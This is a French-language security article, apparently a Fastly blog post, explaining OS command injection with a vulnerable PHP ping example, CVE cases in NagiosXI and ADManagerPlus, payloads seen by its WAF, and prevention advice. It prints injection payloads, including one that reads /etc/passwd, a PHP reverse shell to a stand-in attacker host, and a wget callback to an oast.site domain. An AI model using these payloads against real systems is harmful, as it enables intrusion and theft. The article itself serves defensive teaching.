Qu’est-ce que l’injection de commande système ?
L’injection de commande système est une vulnérabilité d’application web qui permet aux hacker d’exécuter des commandes arbitraires sur le système d’exploitation sous-jacent. Ces vulnérabilités se produisent lorsque des application web appellent des commandes du système d’exploitation avec des entrées fournies par l’utilisateur comme arguments. La vulnérabilité peut également être identifiée par CWE-77 ou CWE-78.
À titre d’exemple, imaginez une application web destinée à surveiller des systèmes internes, et à fournir des Alertes lorsque l’un des systèmes passe hors ligne. Dans ce scénario, l’application peut vouloir tester l’accessibilité réseau de la cible, et le fait en exécutant une commande ping. Si l’application est développée en PHP, le code sous-jacent pourrait ressembler à ce qui suit :
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)Dans cet exemple, la fonction exec de PHP exécute la commande ping avec la valeur fournie par l’utilisateur pour « ip_address » ajoutée à la fin comme cible pour tester son accessibilité. Cependant, si un hacker fournit à la place localhost; cat /etc/passwd comme Adresse IP, la commande ping et la seconde commande initiée après le point-virgule s’exécuteront toutes deux. En cas de réussite, le hacker disposera alors d’une exécution de commandes « full » et pourra exécuter un nombre illimité de commandes malveillantes pour tenter d’élever ses accès, de récupérer des informations sensibles, de maintenir une persistance, ou de pivoter vers d’autres cibles sur le réseau. En raison de son impact souvent plus dévastateur, les vulnérabilités d’injection de commandes sont généralement considérées comme plus graves que les autres vulnérabilités des applications web.
Qu’est-ce qui n’est pas une injection de commande système ?
Les injections de commande sont souvent confondues avec d’autres attaque par injection, et plus particulièrement avec les injections de code. Pour faire la différence entre ces deux vulnérabilités, le plus simple est de se pencher sur la méthode et le contexte d’exécution de la charge utile :
L’injection de commandes s’exécute notamment dans le contexte des programmes shell du système d’exploitation sous-jacent (par ex., bash, PowerShell) en injectant dans l’appel à un programme externe.
L’injection de code s’exécute dans le contexte du langage de programmation utilisé. Il s’agirait par exemple d’une injection dans les fonctions include ou eval de PHP, permettant d’exécuter un code PHP arbitraire.
Il peut y avoir confusion lorsqu’une charge utile d’injection de commande contient du code issu de langages de programmation comme PHP. Par exemple, imaginez que vous utilisez la charge utile d’injection de commande suivante dans notre exemple précédent pour lancer un shell inversé :
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'À première vue, étant donné que la charge utile contient principalement du code PHP, on pourrait penser qu’il s’agit d’une injection de code. Cependant, le début de la charge utile montre qu’il s’agit en réalité d’une injection de commande. Dans cet exemple, le point-virgule met fin à la commande ping avant que la commande PHP ne soit exécutée. php -r exécute ensuite le code PHP suivant sur la ligne de commande, qui, dans ce cas, est un reverse shell vers l’Adresse IP du hacker. Même si du code PHP est exécuté dans notre charge utile, il s’agit d’une injection de commande système, car nous injectons dans les arguments du programme shell du système d’exploitation.
Exemples concrets d’injection de commande système
Maintenant que vous comprenez ce qu’ est et ce que n’est pas l’injection de commandes OS, examinons quelques exemples concrets de cette attaque et la manière dont ils ont été exécutés.
Injection de commande système dans NagiosXI : Common Vulnerability and Exposure-2021-25296(7,8)
Les versions 5.5.6 à 5.7.5 de NagiosXI étaient affectées par trois instances distinctes d’injection de commande. Notre exemple précédent avec ping est en réalité vaguement inspiré de la Common Vulnerability and Exposure CVE-2021-25298, dont la vulnérabilité d’injection de commande se trouvait dans un appel à ping via la fonction exec de PHP avec une Adresse IP fournie par l’utilisateur. Dans notre analyse détaillée de ces Common Vulnerability and Exposure, nous montrons comment utiliser ces vulnérabilités de manière concrète en lançant à la fois des shells distants Meterpreter et des callbacks vers l’interactsh de Project Discovery. Comme l’a souligné la CISA, à l’heure où nous écrivons ces lignes, ces Common Vulnerability and Exposure sont activement exploitées par des hacker dans la nature, ce qui démontre leur valeur potentielle pour compromettre des systèmes.
Injection de commande système dans ManageEngine ADManagerPlus : Common Vulnerability and Exposure-2023-29084
Cette vulnérabilité particulière d’injection de commande montre parfaitement comment ne pas empêcher l’injection de commande. Dinh Hoang a rédigé un excellent article décrivant la vulnérabilité, en particulier la manière dont ADManagerPlus utilise une fonction CommonUtil.getPowerShellEscapedValue pour échapper une valeur de nom d’utilisateur et de mot de passe fournie par l’utilisateur pour une commande reg add. Cependant, cette fonction n’échappe pas les caractères CRLF, ce qui permet d’insérer la charge utile suivante comme mot de passe et de lancer calc : [any-content]\r\ncalc.exe. Comme nous le verrons plus loin, effectuer ce type de nettoyage des entrées permet des erreurs, de nouveaux contournements, ou des métacaractères oubliés qui peuvent conduire à de futures injections de commande.
L’injection de commande système du point de vue des WAF
Le Next-Gen WAF de Fastly protège contre les attaques par injection de commandes. En examinant certaines charges utiles d’injection de commande observées, nous pouvons voir ce que les hacker envoient pour détecter des vulnérabilités d’injection de commande OS.
Exemple de charge utile 1 : commande ping « sleep » dans les données de requête POST
language=&ping -c 25 127.0.0.1 &Cette charge utile est une tentative directe d’injection de commande dans le champ de langue. Il utilise également une technique d’ injection de commande à l’aveugle dans la mesure où il ne repose pas sur la récupération de la sortie de la commande pour détecter l’injection. Tout d’abord, la charge utile utilise le métacaractère & pour exécuter la deuxième commande pendant que la première s’exécute en arrière-plan. La charge utile contient la commande ping avec le flag -c, qui indique à ping d’envoyer 25 paquets, à raison d’un par seconde. En analysant le temps de réponse, un hacker peut déterminer si sa commande injectée a été exécutée. Cette technique peut toutefois échouer, si l’application ciblée n’attend pas que la commande exécutée soit terminée avant d’envoyer une réponse HTTP, limitant ainsi son efficacité. Voyons maintenant un exemple plus intéressant d’injection de commande à l’aveugle qui n’a pas cette limitation.
Exemple de charge utile 2 : Wget dans les données de requête article
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#Cette charge utile utilise une interaction réseau hors bande, une technique d’injection de commande aveugle qui repose sur la détection d’une requête réseau sortante provenant de la commande injectée pour détecter l’injection de commande. Décomposons la charge utile en deux parties : l’échappement et la configuration de la commande, et le contenu de la commande injectée.
La charge utile est injectée dans le champ macAddress et contient deux métacaractères pour faciliter l’injection de commande. Tout d’abord, le point-virgule marque la fin de la première commande afin que la commande du hacker puisse être lancée. À la fin de la charge utile injectée, le hacker utilise le métacaractère # pour commenter toute donnée suivante. Cela est utile si l’argument dans lequel il injecte n’est pas l’argument final de la commande, car tous les arguments suivants seront ignorés comme faisant partie du commentaire.
La partie de la charge utile correspondant à la commande injectée est la commande wget, qui contacte un sous-domaine de oast.site, l’un des domaines de rappel par défaut utilisés par interactsh de Project Discovery. L’OAST désigne les tests de sécurité des applications hors bande, qu’interactsh facilite en utilisant des sous-domaines et des charges utiles uniques pour déterminer si l’attaque ciblée a réussi. Il existe plusieurs autres domaines utilisés par interactsh et d’autres outils qui facilitent le même type de tests, dont nous avons déjà observé une utilisation intensive.
Comment prévenir les injections de commande système
Il existe plusieurs solutions pour éviter les injections de commande système, avec différents inconvénients et degrés d’efficacité. Retrouvez ci-dessous des solutions concrètes pour prévenir ce type d’attaque.
Empêcher les appels aux commandes du système d’exploitation depuis le code de l’application
N’appelez jamais de commandes du système d’exploitation à partir du code de l’application. Cela élimine complètement la possibilité de vulnérabilités d’injection de commandes du système d’exploitation en supprimant les commandes injectées elles-mêmes. L’utilisation de méthodes alternatives pour effectuer les mêmes actions est une option plus sûre et préférable.
Appliquer une validation stricte des entrées
Si la suppression des appels aux commandes OS est inévitable dans votre environnement, alors une validation rigoureuse des entrées est essentielle pour prévenir les vulnérabilités d’injection de commandes OS. Une validation rigoureuse des entrées est différente de l’assainissement des entrées. La validation des entrées consiste à s’assurer que les entrées utilisateur contiennent uniquement des valeurs sûres que l’application peut transmettre aux commandes système. Voici quelques exemples de bonnes validations des entrées :
La validation des entrées se trouve dans une liste de valeurs autorisées.
Validation que l’entrée fournie est du type approprié (par ex., un nombre entier ou une adresse IP).
La validation s’assure que l’entrée contient uniquement des valeurs alphanumériques.
Assainir les entrées utilisateur (non recommandé)
Si aucune de ces options n’est possible, l’assainissement des entrées utilisateur par l’échappement des métacaractères du shell (par ex. & ou ;) ne devrait être qu’un dernier recours. Il est difficile d’effectuer correctement ce nettoyage, en raison des nombreuses façons dont les métacaractères peuvent être représentés et interprétés par différents systèmes d’exploitation, et de la manière dont les méthodes de nettoyage peuvent être contournées. Common Vulnerability and Exposure-2023-29084 illustre les problèmes possibles de cette méthode, car un métacaractère oublié (CRLF) a conduit à une injection de commande réussie. Si le nettoyage offre souvent une protection contre les charges utiles d’injection de commande système les plus basiques, il ne s’agit pas d’une solution complète, en raison à la fois de la difficulté de sa mise en œuvre correcte et des possibilités de contournement.
Résumé
L’injection de commande système est généralement une vulnérabilité grave d’application web qui permet aux hacker d’exécuter des commandes arbitraires sur le système d’exploitation sous-jacent. Elle est souvent confondue avec l’injection de code, mais elle s’exécute dans le contexte des programmes shell du système d’exploitation sous-jacent, alors que l’injection de code s’exécute dans le contexte du langage de programmation utilisé. L’injection de commandes OS peut avoir des impacts dévastateurs, et comme le montrent nos exemples concrets, elle reste un vecteur d’attaque fréquemment utilisé. Cependant, les application peuvent empêcher l’injection de commande système en utilisant les solutions que nous avons décrites. Si vous avez des difficultés à empêcher l’injection de commandes OS, ou si vous utilisez un produit qui a souffert de vulnérabilités d’injection de commandes OS par le passé, consultez le Next-Gen WAF de Fastly pour vous protéger contre ces attaques et bien plus encore.




